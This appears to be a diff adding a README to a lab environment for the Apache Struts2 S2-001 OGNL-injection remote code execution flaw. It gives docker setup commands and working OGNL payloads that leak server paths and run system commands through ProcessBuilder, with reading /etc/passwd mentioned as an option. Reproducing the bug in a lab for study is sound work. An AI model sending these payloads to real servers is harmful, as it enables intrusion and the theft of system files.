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struts2/s2-001/README.md

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+# S2-001 Remote Code Execution Vulnerability
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+## Reference link
+
+[http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities.html](http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities.html)
+
+> The vulnerability is that when the user submits the form data and the validation fails, the server parses the parameter values previously submitted by the user with the OGNL expression `%{value}` and repopulates the corresponding form data.For example, in the registration or login page. When submit fail, server will generally return the previously submitted data by default. Since the server uses `%{value}` to execute an OGNL expression parsing on the submitted data, it can send payload directly to execute command.
+
+## Environment setup
+
+Run the following commands to setup
+
+```
+docker compose build
+docker compose up -d
+```
+
+## POC && EXP
+
+Get the tomcat path:
+
+```
+%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
+```
+
+Get the web site real path:
+
+```
+%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
+```
+
+Execute command (command with parameter:`new java.lang.String[]{"cat","/etc/passwd"}`):
+
+```
+%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
+```
+
+![](1.jpeg)